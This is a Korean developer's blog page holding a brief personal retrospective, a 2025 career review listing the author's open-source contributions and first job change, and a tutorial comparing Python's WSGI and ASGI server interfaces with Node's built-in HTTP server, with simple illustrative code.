(528)

나아가면서 되돌아보자.

정말 간단하게 남기는 회고라 좀 러프하게 작성. 새로운 조직에서 처음 접하는 스택들과 더불어 스쿼드의 스프린트와 AX를 동시에 수행하고개인적으로 사이드 프로젝트, 오픈소스 기여와 불편한 부분들을 자동화하는 플로우를 만들면서 정신없이 지내는 요즘문득 한 통의 카톡이 날아왔다. 3일 전에 받았던, 예전에 도입했던 소나큐브를 제거하는 방법을 알려달라던 이전 회사 부장님의 카톡.홀로 개발하는 환경에서, 외로움에(?) 페어 프로그래밍 느낌을 내보고자 여러 rules를 추가해서 소나큐브를 사용했었다.하지만, 여러 AI들이 발전하면서 사용에 의의를 잃었고, 결국 사용하지 않은 채로 관리하지 않았다. 홀로 개발하는 환경이라는 것은, 기본 동작 위에 개발자만이 고려 할 수 있는 부분들은 물론현재 기술 부채를 적절..

3년차 백엔드 개발자의 2025년 회고 (첫 이직)

서론2023년 2024년 회고를 되돌아보니 현실의 벽을 넘기 위한 노력, 의지들이 많이 보였습니다. 하지만 그 벽이 얼마나 높은지 가늠조차 되지 않았었던 것 같아요. 하지만 2025년 한 해는 어느 정도 노력이 헛되지 않았구나 생각이 들었습니다. 요약하자면, 성격의 한계를 극복했고 첫 이직을 했습니다. 그 과정에서 매번 서류 탈락하던 국내 빅테크들의 면접까지 경험할 수 있었습니다.이전과 크게 달라진건 제가 사용하는 기술들에서 다양한 개발자들과 소통하며 기여했고, 과정에서 기술적인 깊이를 기르고자 노력했습니다. AI 때문에 급변했고, 앞으로도 급변할 이 시장에서 어떤 개발자가 되고 싶은지 끊임없이 고민했던 2025년을 되돌아보려고 합니다. 러너스하이 1기올 초에, 토스에서 진행하는 멘토링 세션인 러너스..

Python의 WSGI(Web Server Gateway Interface) - Node와 비교하며 이해하기

서론 Python의 GIL(Global Interpreter Lock) - Node와 비교하며 이해하기서론Node를 처음 접할 때, 가장 먼저 이해해야하는 것들 중에는 아래와 같은 개념들이 있습니다.JS 실행은 기본적으로 싱글 스레드다.대신 이벤트 루프와 비동기 I/O로 동시성을 만든다.CPU를 갈아mag1c.tistory.com 이전글에서 Python의 GIL에 대해 정리했습니다. Node에서 Python으로 전환하면서 동시성 처리의 차이점을 이해하는 것이 중요하다고 생각했기 때문입니다. 이번에는 제가 Python의 레거시 스택을 사용하면서 또 다른 혼동의 원인이었던 WSGI(Web Server Gateway Interface)에 대해 정리해보려 합니다. Node로 웹 서버를 만들 때는 아래처럼 만들..

React의 CVE 보안 취약점이 연달아 터졌다. (feat. CloudFlare WAF 이슈)

서론최근 CloudFlare에 두 차례 큰 장애가 발생했습니다.Zoom, Linkedin, Claude Code, League of Legends, Coinbase 등 CloudFlare를 사용하고 있는 서비스들에서 수십 분에서 수 시간 정도의 다운타임이 발생했어요. 두 장애 중 하나는 이번 주제와 관련 없는 DB 권한 변경으로 인한 설정 파일의 팽창 문제였어요.중복 행으로 인해 비정상적으로 커지면서 메모리 제한을 초과하고 결국 전체 네트워크의 프록시가 패닉 상태에 빠진 사고였습니다. 이번 글에서 다룰 주제는 CloudFlare 장애의 원인이 된 또 다른 원인인 React 측의 장애에 대한 내용입니다.장애 보고서에 따르면 CloudFlare 측에서 React CVE를 해결하는 과정에서 WAF 설정을 잘못..

Python의 GIL(Global Interpreter Lock) - Node와 비교하며 이해하기

서론Node를 처음 접할 때, 가장 먼저 이해해야하는 것들 중에는 아래와 같은 개념들이 있습니다.JS 실행은 기본적으로 싱글 스레드다.대신 이벤트 루프와 비동기 I/O로 동시성을 만든다.CPU를 갈아 넣는 작업은 워커나 별도 프로세스가 담당한다. 저도 Java를 짧게 다루다가 Node로 처음 기술 스택을 전환했을 때 위와 같은 개념을 먼저 접했던 것 같습니다.그리고 이런 개념들은, Node의 JavaScript 실행 방식은 기준점이 되어 프로그래밍을 하면서 항상 생각하고, 녹여내려고 했습니다.기본적인 async/await는 물론이고, 이벤트 루프를 막을 법한 무거운 연산은 워커로 빼는 식의 설계를 자연스럽게 떠올리게 됐습니다. 최근 Python으로 스택 전환을 하면서, Python은 동시성 처리를 어떻..

NestJS standard-schema 기반 유효성 검사 오픈소스를 만들었어요

NestJS에서 최근 발행된 이슈를 트래킹하다가 아이디어를 얻어 유효성 검사 라이브러리를 하나 만들게 되었습니다.간단하게 왜 개발하게 되었는지, 어떤 차별점들이 있는지 등을 소개하려고 합니다. 왜 만들었는지?Javascript 진영에도 무수히 많은 Validation 라이브러리가 존재합니다.Zod, Valibot, Joi, ArkType, Yup 등등 대표적인 것들만 해도 손에 꼽기 어려울 정도로 많습니다. 이미 커뮤니티에서 검증된 오픈소스들이 있음에도 불구하고, 아래와 같은 이유로 직접 만들게 되었습니다. 커뮤니티의 니즈NestJS의 이슈를 트래킹하다가 최근 Validation을 다룬 이슈를 발견했습니다. 내용을 요약하자면, NestJS에서 공식적으로 zod를 패키징하기를 원했습니다. nestjs..

Git merge / rebase / cherry-pick으로 히스토리 다루기

[이전글] Git의 데이터 저장 방식과 commit 이해하기[이전글] Branch와 HEAD로 보는 Git 히스토리 모델(DAG) 이해하기 서론1,2편의 포커스는 Git 안에 무엇이 저장되고 그 위에 branch/HEAD가 어떤 히스토리 그래프를 만드는지였습니다.이번 편에서는 이 히스토리 위에서 실제로 우리가 사용하는 merge/rebase/cherry-pick 명령어들이 DAG 위에서 어떻게 커밋을 합치고 다시 쓰는지를 정리해보려고 합니다. 사용할 예제 레포이번 글에서는 새로운 레포를 하나 생성해서 사용하려고 합니다.git init git-merge-rebase-democd git-merge-rebase-demoecho "console.log('hello');" > app.jsgit add app..

Branch와 HEAD로 보는 Git 히스토리 모델(DAG) 이해하기

[이전글] Git의 데이터 저장 방식과 commit 이해하기[다음글] Git merge / rebase / cherry-pick으로 히스토리 다루기 서론이전 글에서는 Git을 내용 기반 주소를 사용하는 Key-Value 저장소 관점에서 바라보면서.git/objects에 쌓이는 Blob / Tree / Commit / Tag 객체git cat-file로 실제 해시를 따라가며 commit → tree → blob 구조두 커밋 사이에서 어떤 객체들이 재사용/새로 생성되는지git diff가 Tree / Blob 단위로 어떤 식으로 변경 파일을 찾아내는지까지 정리해봤습니다. 이전 편의 포커스는 Git 안에 무엇이 저장되는가에 대해서였습니다. 이번 포스팅에서는 기본적인 저장 방식 위에 객체들을 어떻게 이어붙여..

Git의 데이터 저장 방식과 commit 이해하기

[다음글] Branch와 HEAD로 보는 Git 히스토리 모델(DAG) 이해하기[다음글] Git merge / rebase / cherry-pick으로 히스토리 다루기 서론만 2년 넘게 개발을 해오면서 Git을 무수히 많이 사용했지만 정작 내부 원리에 대해서는 생각해 본 적이 없는 것 같아 이번 기회에 학습하면서 관련 내용들을 정리 해보려고 합니다. 공식 문서에서는 Git을 내용 기반 주소를 사용하는 Key-Value 저장소이자 파일 시스템 정도로 설명합니다.이번 포스팅에서는, 이 저장 방식에 대한 이해를 토대로 Git의 데이터 저장 방식과 commit까지의 과정에서 어떤 일들이 발생하는지 등에 대해 알아보려고 합니다. 포스팅에 사용된 디렉토리 구조는 다음과 같습니다. Git git 레포지토..

나아가면서 되돌아보자.

회고 2026. 1. 12. 23:44
728x90
728x90

 

정말 간단하게 남기는 회고라 좀 러프하게 작성.

 

 


 

 

새로운 조직에서 처음 접하는 스택들과 더불어 스쿼드의 스프린트와 AX를 동시에 수행하고

개인적으로 사이드 프로젝트, 오픈소스 기여와 불편한 부분들을 자동화하는 플로우를 만들면서 정신없이 지내는 요즘

문득 한 통의 카톡이 날아왔다.

 

 

3일 전에 받았던, 예전에 도입했던 소나큐브를 제거하는 방법을 알려달라던 이전 회사 부장님의 카톡.

홀로 개발하는 환경에서, 외로움에(?) 페어 프로그래밍 느낌을 내보고자 여러 rules를 추가해서 소나큐브를 사용했었다.

하지만, 여러 AI들이 발전하면서 사용에 의의를 잃었고, 결국 사용하지 않은 채로 관리하지 않았다.

 

홀로 개발하는 환경이라는 것은,

 

기본 동작 위에 개발자만이 고려 할 수 있는 부분들은 물론

현재 기술 부채를 적절하게 해결하면서 더 나아갈 수 있는 방향은 무엇일까?

 

에 대한 생각을 주로 해왔던 것 같다.

 

저 카톡을 오늘 곰곰이 곱씹어보니,

홀로 개발하고 나발이고 개발자란

 

신기술에 매몰되어 이것저것 싸지르기만 하면 안되는 것은 당연하고,

현실에 안주해서 레거시 위에 또 다른 레거시를 쌓는 것도 아닌 것 같고,

 

당연히 현재 상황에 맞게 적절한 기술을 선택하며,

다양하게 레퍼런스를 보고 깊게 학습하면 자연스레 새로운 신기술도 도입할 수 있는 역량이 생기리라 생각하고 있지만,

 

레거시 관리 측면에서 많이 소홀하지 않았나 생각이 드는 카톡이였다.

 

주저리주저리 싸지른 글이라 나조차도 뭐라는지 모르겠고 읽으시는 분들도 이해하기 힘들 수 있지만 이번 글에선,

 

항상 되돌아보자. 항상 이라는게 추상적이면 매 주, 매 월 단위로 내가 싸지른 것들을 회고할 수 있는 형태로

컨텍스트를 남기고 주기적으로 회고하는 습관을 가져야겠다.

 

는 생각이 들어 회고 글을 급히 싸지르고 퇴장하겠습니다.

 

 

728x90
300x250
mag1c

mag1c

2년차 주니어 개발자.

3년차 백엔드 개발자의 2025년 회고 (첫 이직)

회고 2025. 12. 26. 18:52
728x90
728x90

 

 

서론

2023년 2024년 회고를 되돌아보니 현실의 벽을 넘기 위한 노력, 의지들이 많이 보였습니다. 하지만 그 벽이 얼마나 높은지 가늠조차 되지 않았었던 것 같아요. 하지만 2025년 한 해는 어느 정도 노력이 헛되지 않았구나 생각이 들었습니다.

 

요약하자면, 성격의 한계를 극복했고 첫 이직을 했습니다. 그 과정에서 매번 서류 탈락하던 국내 빅테크들의 면접까지 경험할 수 있었습니다.

이전과 크게 달라진건 제가 사용하는 기술들에서 다양한 개발자들과 소통하며 기여했고, 과정에서 기술적인 깊이를 기르고자 노력했습니다.

 

AI 때문에 급변했고, 앞으로도 급변할 이 시장에서 어떤 개발자가 되고 싶은지 끊임없이 고민했던 2025년을 되돌아보려고 합니다.

 

 

 

러너스하이 1기

올 초에, 토스에서 진행하는 멘토링 세션인 러너스하이 1기에 참여하게 되었습니다.

신청할 때 기대했던 것과는 달리 멘토링보다는 토스의 인재상에 대한 소개와, 과제를 내려주는 채용 연계형 세션이었어요.

러너스하이는 짧은 기간 동안 스스로 문제를 정의하고, 해결하고, 결과를 돌아보는 집중 성장 프로그램 처럼 느껴졌습니다.

 

토스 Next가 코테 > 과제를 통해 문제 해결 능력을 본다면 러너스하이는 폭발적인 성장 가능성을 보는 것 같았어요.

 

저는 이 세션을 통해 ROI가 높은 과제를 선정하기 위해 끊임없이 관심 갖고 고민하는 관점을 하나 얻게 되었습니다.

추가로, 처음으로 러너스하이 1기에 참여했던 일부 멤버들과 함께 개발자 커뮤니티를 작게나마 형성했습니다.

 

이 두 가지는 개발자로서 끊임 없이 성장하고, 제가 추구하는 공유의 가치를 위해 작은 씨앗이 될 것이라고 생각합니다.

 

 

오픈소스 기여와 발표

오픈소스와 함께 한 2025년이라고 해도 될 만큼 오픈소스 덕분에 얻은게 참 많습니다.

기여 과정에서 얻는 지식은 물론, 내향적인 성격의 한계를 극복하고 이직까지 할 수 있게 된 계기가 되었습니다.

 

 

기여 요약

작년에는 오픈소스 기여의 막막함에 대한 진입 장벽을 허물고 기여하는 방법에 대해 어느정도 익혔다면, 올해는 본격적으로 기여 활동을 늘려나갔습니다. 제 커리어에서 가장 오래 사용했던 Node, Nest 프레임워크와 TS 진영의 ORM들, 모니터링 인프라를 구축하면서 사용했던 Loki와 무료여서 더 끌렸던 Gemini-CLI 등 다양하게 기여를 시도했습니다.

 

총 34개의 PR 중 23개가 Merge 되었어요.

날짜 저장소 PR 제목 상태
25-02-19 nestjs/docs.nestjs.com #3204 docs(swc): add vitest alias resolution Merged
25-02-19 nestjs/docs.nestjs.com #3206 docs(swagger): add ui/raws description Merged
25-02-19 nestjs/swagger #3307 fix(swagger): added options in createEnumSchemaType Merged
25-04-22 nestjs/nest #14995 feat(common): Add fallbackToMimetype support in FileTypeValidator Merged
25-04-22 nestjs/nest #15003 chore(common): Backport FileTypeValidator fallback support Open
25-04-30 nestjs/swagger #3423 feat(swagger-plugin): add skipDefaultValues option Merged
25-05-05 nestjs/swagger #3248 feat(swagger): add extension in SecuritySchemeObject Merged
25-05-21 nestjs/nest #15172 fix(microservices): support custom strategy in async usefactory config Merged
25-07-08 nodejs/node #58988 doc: enhance glob pattern documentation Open
25-07-14 nodejs/node #59061 path: add exclude option to matchesGlob method Open
25-07-16 nestjs/nest #15385 fix(testing): auto-init fastify adapter for middleware registration Merged
25-08-06 grafana/loki #18732 feat: default loki-mixin dashboards to TSDB Open
25-08-07 nestjs/terminus #2671 feat(graceful-shutdown): add enhanced production-ready shutdown sequence Open
25-08-09 nestjs/terminus #2673 fix(deps): update amqplib to 0.10.6 for rmq 4.1+ compatibility Open
25-08-14 nestjs/nest #15539 fix(sample): update gql federation samples to use production-ready Open
25-08-20 prisma/prisma #27897 fix(client): add default generic parameters to PrismaClient constructor Merged
25-08-21 google-gemini/gemini-cli #5751 perf(core): parallelize memory discovery file operations (60% 성능 향상) Merged
25-09-15 nestjs/terminus #2670 feat(terminus): add forRootAsync method Merged
25-09-16 nestjs/nest #15503 feat(common): add force-console option to console logger Merged
25-09-16 nestjs/nest #15571 fix(core): skip lifecycle hooks for non-instantiated transient services Merged
25-10-01 nestjs/graphql #3678 feat(graphql): add type-name-option for custom type naming Merged
25-10-12 nodejs/node #60220 test_runner: add classname hierarchy for JUnit reporter Open
25-10-18 nestjs/swagger #3596 feat(decorator): add type definition for format option Open
25-10-21 nestjs/nest #15705 fix(core): resolve extras in configurable module builder async methods Merged
25-10-27 nestjs/nest #15815 fix(core): ensure nested transient provider isolation Merged
25-11-08 nodejs/node #58205 doc: improve agent.createConnection docs for http/https agents Merged
25-11-14 typeorm/typeorm #11769 refactor: replace uuid with native Crypto API Open
25-11-28 nestjs/nest #15984 sample(sample/22): fix Prisma 7 compatibility Merged
25-11-29 daangn/ventyd #46 fix: improve validation error messages Merged
25-12-05 nestjs/nest #15986 feat(core): add option for async logger compatibility Merged
25-12-05 nodejs/node #60376 esm: improve error messages for ambiguous module syntax Merged
25-12-12 typeorm/typeorm #11669 fix: include joined entity primary keys in pagination subquery Merged
25-12-18 encode/django-rest-framework #9853 Fix viewset actions dict being mutated after first request Open
25-12-19 nestjs/nest #16098 fix(core): instantiate nested transient providers in static context Merged

 

 

최근에는 Python을 사용하는 회사로 이직했기 떄문에, DRF부터 점진적으로 Django > Python에 기여를 해볼 계획을 가지고 있어요.

 

 

 

발표

특히 올 해 오픈소스 기여 덕분에 저는, 저의 내향적인 성격의 한계를 깨고 오프라인 세션에서 발표를 진행하게 되었습니다.

 

 

 

개발자로서 첫 발표를 마치고

첫 발표를 마치고개발자로서 첫 발표를 무사히(?) 끝마쳤습니다. 포스팅을 작성하면서도 가슴이 벌렁벌렁하네요.. 저는 현업에서 혼자 개발하는 환경에 있다 보니,'내가 잘하고 있는 게 맞을까?'

mag1c.tistory.com

 

Prisma와 Gemini-CLI 기여 경험을 바탕으로 발표를 진행했습니다. 단순히 기여 내용을 공유하는 것이 아니라, 이슈를 효율적으로 분석하는 방법과 그 과정에서 어떻게 성장했는지에 초점을 맞췄습니다. 청심환을 먹었음에도 너무 떨려서 제대로 전달이 안되었을 수도 있지만요.. 

 

 

 

이직

기존 조직에서 많은 것을 배웠지만, BM의 한계를 많이 느꼈습니다.

더불어 제가 관심 있던 AI 활용이나 Agentic Workflow 구축을 시도하기엔 환경적 제약이 있었습니다.

 

더 자극을 느끼고 성장하며 다양한 경험을 쌓기 위해 이직을 해야겠다 라는 생각을 했고, 개발자로서 첫 이직을 할 수 있게 되었습니다.

 

그 유명한 당근 면접비 ㅋㅋ

 

작년에 이직 시도를 할 때와는 다르게 서류 합격률이 많이 높아졌습니다.

감사하게도 기술 면접을 열 곳 넘게 볼 수 있는 기회가 주어져서, 다양한 분야의 기업들에서 면접들을 볼 수 있었습니다.

특히 이번 이직 과정에서는 당근을 비롯한 네카라쿠배당토야 중 세 곳에서 과제와 면접 등의 질 좋은 경험들을 할 수 있었습니다.

이전까지는 서류 광탈에 빅테크는 제 길이 아니구나 생각했는데, 올 해는 어느 정도 제 노력들이 시장에서도 먹히고 있는 것 같아서 정말 기분이 좋았습니다.

 

 

저는 완전 새로운 도메인의 스타트업에서 커리어를 이어나가게 되었습니다. 제가 이직 시 고려했던 성장, 처우, 공유 라는 세 키워드가 모두 만족스러운 환경에서 더 많은 기여를 적극적으로 시도하는 중입니다.

 

 

 

 

 

개발자로서의 목표

올해 가장 많이 한 생각은 내가 어떤 개발자가 되고 싶을까? 입니다.

처음에는 시장에서 원하는 개발자가 되어야겠다고 생각했었는데요. 메타인지를 하는 과정에서, 저는 흥미를 잃으면 빠르게 이탈하는 성격이라는 것을 다시 한 번 인지하고 내가 왜 개발자가 되고 싶었었지? 앞으로 무엇을 하고 싶지? 를 중점으로 생각해봤던 것 같습니다.

 

오픈소스 기여를 통해 수 억명의 DX들을 개선하는 경험들을 접하고 기여 사이클에서 얻는 성장과 공유의 도파민이 가장 달콤했습니다.

그러다보니 Product Engineer 보다는 DX를 개선하는 영역 혹은 더 기술적인 깊이를 추구할 수 있는 사람이 되고자 방향을 잡았습니다.

 

최근 AI가 일상 생활에 너무 깊이 침투해있지만 아직은 할루시네이션 등의 이슈로 이런 깊이를 추구하는 방향이 나쁘지 않다고 생각했습니다. AI를 더 잘 활용하는 필수 역량 중 AI의 결과물을 빠르고 정확하게 검토할 수 있는 역량이 이런 깊이감이라고 생각해요. AI가 딸깍으로 모든 것을 해결해주는 세상이 온다면 목표가 달라져야하겠지만, 이떄는 목표를 수정하는 것이 아니라 직종 자체를 변경해야할 수도 있겠습니다.

 

 

 

 

 

장기 목표는 세우지 않아야겠다.

우선, 작년 회고에서 이루고자 했던 목표를 얼마나 달성했을까? 를 되돌아봤어요.

CS 지식을 다듬고 체력 관리를 위해 운동하자!!! 라고 목표를 세웠더라구요.

 

CS 지식을 집중적으로 채워 넣기 보단 현업에서 마주한 문제에 관련된 지식들 위주로 습득했고, 운동은 습관화 시키지 못했어요.

 

저는 강한 동기부여가 있거나 진심으로 좋아하는 일을 할 때 몰입하는 사람이라는 것을 다시 깨달았습니다.

텍스트 형태의 장기 목표는 세우지 않고, 단기적으로 지금 무엇에 관심있는지를 브레인스토밍하고 거기에 집중하는 것이 좋겠다는 생각이 들어요.

 

 

 

 

마무리

2025년은 정말 감사한 한 해였습니다. 이전까지는 비전공 국비, 고졸이라는 자격지심이 있었던 것 같은데 이직 과정에서 이 부분이 100% 해소되었습니다. 앞으로 더 개발을 좋아하고 자연스레 성장해나간다면, 현재 조직에서 많은 임팩트를 주고 제 경험을 다양하게 공유하고 나눌 수 있으면 얼마나 행복할까? 라는 생각을 하고 있습니다.

 

2026년에는, 현재 조직에서 엄청 큰 임팩트를 하나 이상 만들어 보는 것을 최우선 과제로 두고, 현재 조직의 프로덕트 개선과 DX 개선 두 가지에 힘쓸 것 같아요. 개인적인 목표로는 300+ 스타 이상의 오픈소스 운영과, 개인 서비스의 사용자를 1k 이상 만들어보는 경험을 해보고 싶습니다.

 

2026년에는 보다 더 밀도 높은 성장을 통해 보다 더 인정받는 개발자가 위해 열심히 달려나가겠습니다!! 다들 2026년에도 화이팅입니다

 

 

 

728x90
300x250
mag1c

mag1c

2년차 주니어 개발자.

Python의 WSGI(Web Server Gateway Interface) - Node와 비교하며 이해하기

Tech/Python 2025. 12. 24. 21:43
728x90
728x90

 

 

서론

 

 

Python의 GIL(Global Interpreter Lock) - Node와 비교하며 이해하기

서론Node를 처음 접할 때, 가장 먼저 이해해야하는 것들 중에는 아래와 같은 개념들이 있습니다.JS 실행은 기본적으로 싱글 스레드다.대신 이벤트 루프와 비동기 I/O로 동시성을 만든다.CPU를 갈아

mag1c.tistory.com

 

이전글에서 Python의 GIL에 대해 정리했습니다. Node에서 Python으로 전환하면서 동시성 처리의 차이점을 이해하는 것이 중요하다고 생각했기 때문입니다.

 

이번에는 제가 Python의 레거시 스택을 사용하면서 또 다른 혼동의 원인이었던 WSGI(Web Server Gateway Interface)에 대해 정리해보려 합니다.

 

Node로 웹 서버를 만들 때는 아래처럼 만들죠.

 

const express = require('express');
const app = express();

app.get('/', (req, res) => {
    res.send('Hello World');
});

app.listen(3000);

 

express의 app.listen()은 내부적으로  Node의 http.createServer()을 호출합니다.

런타임에 HTTP 서버가 내장되어 있어서, 별도 서버 없이 바로 띄울 수 있죠.

 

// express/lib/application.js
app.listen = function listen() {
    var server = http.createServer(this)  // Node.js 내장 http 모듈 사용
    return server.listen.apply(server, arguments)
}

 

 

그런데 Django는...

 

python manage.py runserver
# "WARNING: This is a development server. Do not use it in production."
# django 소스코드 일부
# django/core/management/commands/runserver.py
self.stdout.write(
  self.style.WARNING(
      "WARNING: This is a development server. Do not use it in a "
      "production setting. Use a production WSGI or ASGI server "
      "instead.\nFor more information on production servers see: "
      f"https://docs.djangoproject.com/en/{docs_version}/howto/"
      "deployment/"
  )
)

 

 

소스코드를 확인해보니 무슨 SGI를 사용하라고하네요. 서울보증보험인가.. 별도의 서버가 필요하다는 것은 확실해 보였습니다.

 

Java기반의 Spring을 짧게 사용했을 때도 당연히 Tomcat을 별도로 사용했기 때문에 그런가보다 했습니다.

그런데 공부하다보니 2025년을 살아가는 저에게는 꽤나 독특한 녀석이라고 생각했습니다.

 

왜 Python 웹 생태계는 GIL 뿐 아니라 WSGI 같은 녀석도 표준이 되어 지금까지도 사용되고 있을까요?

 

 

 

 

애플리케이션과 서버의 분리

 

 

 

다시 말하지만 Node는 개발자가 웹 서버를 별도 구성할 필요가 없습니다.

런타임에 HTTP 서버가 내장되어 있어 별도 서버를 구성하지 않고도 바로 웹 서버를 띄울 수 있죠.

 

 

 

 

왜 이렇게 분리되었을까요?

 

2000년대 초반에는 Python 웹 생태계에는 Zope, Quixote, Webware 등의 다양한 프레임워크가 있었다고 합니다.

문제는 프레임워크 선택이 서버 선택이 되어, Zope를 쓰려면 Zope 서버를, Quixote를 쓰려면 또 다른 서버를 써야 했다고 해요.

 

Java에서는 Servlet API가 이 문제를 해결했어요.

어떤 서블릿 컨테이너(Tomcat, Jetty 등)에서든 서블릿 스펙을 따르는 웹 앱을 실행할 수 있습니다.

 

Python도 비슷한 표준이 필요했고, 그렇게 WSGI가 탄생했다고 합니다.

(이와 관련된 자세한 내용은 PEP-333에 나와있습니다.)

 

 

 

 

WSGI

WSGI(Web Server Gateway Interface)는 웹 서버 게이트웨이의 표준 인터페이스입니다.

웹 서버와 Python Application 사이의 표준 인터페이스 인 셈이죠.

 

Python이 그러한 것 처럼, WSGI 또한 단순하고 간결한 것이 원칙이었다고 합니다.

 

Thus, simplicity of implementation on both the server and framework sides of the interface is absolutely critical to the utility of the WSGI interface, and is therefore the principal criterion for any design decisions.

the goal of WSGI is to facilitate easy interconnection of existing servers and applications or frameworks, not to create a new web framework

Phillip J. Eby (PEP 333 - https://peps.python.org/pep-0333)

 

 

 

WSGI Application 구조

단순하고 간결한 원칙 때문이었을까요? WSGI 애플리케이션은 단순합니다.

 

def application(environ, start_response):
    """단순한 WSGI Application"""
    status = '200 OK'
    response_headers = [('Content-Type', 'text/plain')]
    start_response(status, response_headers)
    return [b'Hello World']

 

두 개의 파라미터를 받는 callable* 객체면 충분합니다. 이게 전부에요.

callable은 말 그대로 호출할 수 있는 객체를 뜻해요. application() 처럼요.

 

참고로 응답이 리스트(iterable)인 이유가 있어요.
대용량 파일을 한 번에 메모리에 올리지 않고 chunk 단위로 스트리밍할 수 있게 하려는 설계입니다.

 

environ

이름만 봐도 감이 오죠? .env를 생각하면 될 것 같아요.

environ은 CGI 스타일의 환경 변수 딕셔너리에요. CGI(Common Gateway Interface)는 1990년대 웹 서버가 외부 프로그램을 실행하던 방식이에요. WSGI가 이 변수 컨벤션을 그대로 사용한 이유는, 당시 Python 프레임워크들이 이미 CGI 방식을 구현해뒀기 때문입니다.

아래의 값들을 통해 웹 서버를 설정해야해요.

 

 

 

 

start_response

start_response는 응답 상태와 헤더를 설정하는 callable 이에요.

 

start_response(status, response_headers, exc_info=None)
status = '200 OK'  # HTTP 상태코드 + 메시지 (문자열)
response_headers = [
  ('Content-Type', 'text/plain'),
  ('Content-Length', '12')
]
start_response(status, response_headers)  # 서버에게 알림
return [b'Hello World!']  # 그 다음 본문 반환

 

 

 

WSGI 실제 구현 예시

제가 사용하는 Django를 예로 들어볼게요. 개발자는, Response안에 응답 데이터와 상태를 넣어줘요.

 

return Response(data=serializer.data, status=status.HTTP_200_OK)

 

 

위에서 언급한 WSGI Application에 들어가는 환경 변수나 응답 헤더 등의 설정은 하지 않았는데요.

Django 내부에서는 이 저수준의 WSGI를 래핑한 고수준의 API를 제공합니다. 아래는 간략화한 예시입니다.

 

class WSGIHandler:
  def __call__(self, environ, start_response):
      # 1. environ을 Django Request로 변환
      request = self.request_class(environ)

      # 2. View 실행 → Response 객체 반환
      response = self.get_response(request)

      # 3. Response를 WSGI 형식으로 변환
      status = '%d %s' % (response.status_code, response.reason_phrase)

      start_response(status, response_headers)
      return response

 

 

 

 

 

 

WSGI를 사용한 HTTP Request LifeCycle

 

 

위 시퀀스 다이어그램은 WSGI를 사용한 HTTP 요청이 처리되기 까지를 요약한 다이어그램입니다.

 

실제 프로덕션 환경에서는

  • 리버스 프록시: HTTPS, static serving, LB, Buffering 등의 역할
  • WSGI 서버: HTTP 요청을 WSGI 프로토콜(environ, start_response)로 변환하여 애플리케이션에 전달, 응답을 클라이언트에 반환, 동시 요청 처리
  • WSGI 애플리케이션: WSGI 스펙을 따르는 callable(wsgi.py)을 통해 요청을 받아 비즈니스 로직 수행

 

위와 같은 플로우로 동작하게 됩니다.

 

 

 

 

WSGI의 한계

WSGI는 2003년에 만들어졌다고 해요. 틀딱인거죠

GIL이 멀티스레드 CPU 연산을 제한하는 것처럼, WSGI도 요청-응답 모델에서 제약이 있습니다. 다만 문제의 성격은 달라요. GIL은 스레드 병렬성의 문제이고, WSGI는 연결 유지와 양방향 통신이 불가능한 설계의 문제입니다

 

def application(environ, start_response):
    result = do_something_slow()  # 블로킹!
    start_response('200 OK', [('Content-Type', 'text/plain')])
    return [result.encode()]

 

요청이 들어오면 워커 하나가 요청을 받고, 처리가 끝날 때까지 해당 워커는 점유되며 응답을 반환하고 나서야 다음 요청 처리가 가능해요. (sync worker 기준)

물론 Gunicorn도 gevent나 eventlet 같은 async worker를 사용하면 Green thread 기반으로 수백 개의 동시 연결을 처리할 수 있어요. 하지만 이건 WSGI 표준 위에서의 우회 방식이고, WebSocket 같은 양방향 통신은 여전히 구조적으로 불가능합니다.

 

물론 Django를 사용하더라도 멀티프로세싱이나 스케일 아웃으로 많은 워커를 구성하거나
적절한 캐싱과 인프라 구조의 최적화를 통해 개선할 수도 있겠죠...?

실제로 인스타그램은 2012년 Django + Gunicorn 스택으로 1400만 유저까지 스케일했고,
현재도 Django를 핵심 스택으로 사용하며 수십억 사용자를 처리하고 있어요. 대단하죠.. (인스타 기술 블로그)

 

 

 

 

 

ASGI

ASGI(Asynchronous Server Gateway Interface)는 비동기 기능을 갖춘 파이썬 웹 서버 인터페이스입니다.

(ASGI 스펙 문서에서는 WSGI의 정신적 후계자(spiritual successor)라고 소개되어 있어요)

 

async를 통해 비동기 처리를 지원하는 ASGI는 Django 기준 3.0부터 공식 지원한다고해요.

 

# WSGI
def application(environ, start_response):
    start_response('200 OK', headers)
    return [b'Hello World']

# ASGI
async def application(scope, receive, send):
    await send({
        'type': 'http.response.start',
        'status': 200,
        'headers': [(b'content-type', b'text/plain')],
    })

 

 

ASGI의 세 파라미터를 간단히 설명하자면

  • scope: 연결의 메타데이터 (HTTP인지 WebSocket인지, 경로, 헤더 등)
  • receive: 클라이언트로부터 메시지를 비동기로 수신
  • send: 클라이언트로 메시지를 비동기로 전송

WSGI가 요청을 받아 응답을 반환하는 단방향이었다면, ASGI는 receive/send로 언제든 양방향 통신이 가능한 구조입니다.

 

# asgi.py
import os
from django.core.asgi import get_asgi_application

os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'myproject.settings')
application = get_asgi_application()



Django에서는 ASGI를 지원한다고 해서 모든 코드가 비동기로 동작을 지원하지는 않습니다.

대표적으로 Django ORM은 기본적으로 동기 드라이버(psycopg2 등)를 사용하기 때문에, DB 쿼리 시 해당 스레드가 블로킹됩니다.

 

def my_view(request):
    result = SomeModel.objects.all()  # 동기 ORM
    return HttpResponse(result)

 

하지만, Django 4.1 버전 이후부터는 async ORM을 점진적으로 지원하기 시작했고, ORM 뿐 아니라 Django와 Python에서 비동기를 점진적으로 지원하기 위한 노력은 지금도 꾸준히 진행되고 있는 것으로 보여요. (이전 글에서 다룬 GIL Free-threading도 그 일환이죠)

 

 

 

 

정리

Node에서는 런타임에 내장되어있었기 떄문에, 그리고 기본적으로 비동기를 지원했기 떄문에 다소 많은 차이가 느껴졌습니다.

 

이전 GIL 포스팅과는 다르게 마냥 부정적으로만 보이지는 않았는데요, 이는 GIL이라는 언어 자체의 레거시와는 느낌이 달랐기 떄문입니다.

GIL은 언어(CPython) 레벨의 문제이고, WSGI는 프레임워크와 웹 서버 생태계의 문제입니다. 흥미롭게도 생태계 전환이 오히려 더 빠르게 진행 중이에요. GIL 제거는 수십 년간 시도 끝에 Python 3.13에서야 실험적으로 도입된 반면, ASGI로의 전환은 FastAPI의 부상, Django 3.0+의 공식 지원 등 이미 활발히 이루어지고 있죠.

 

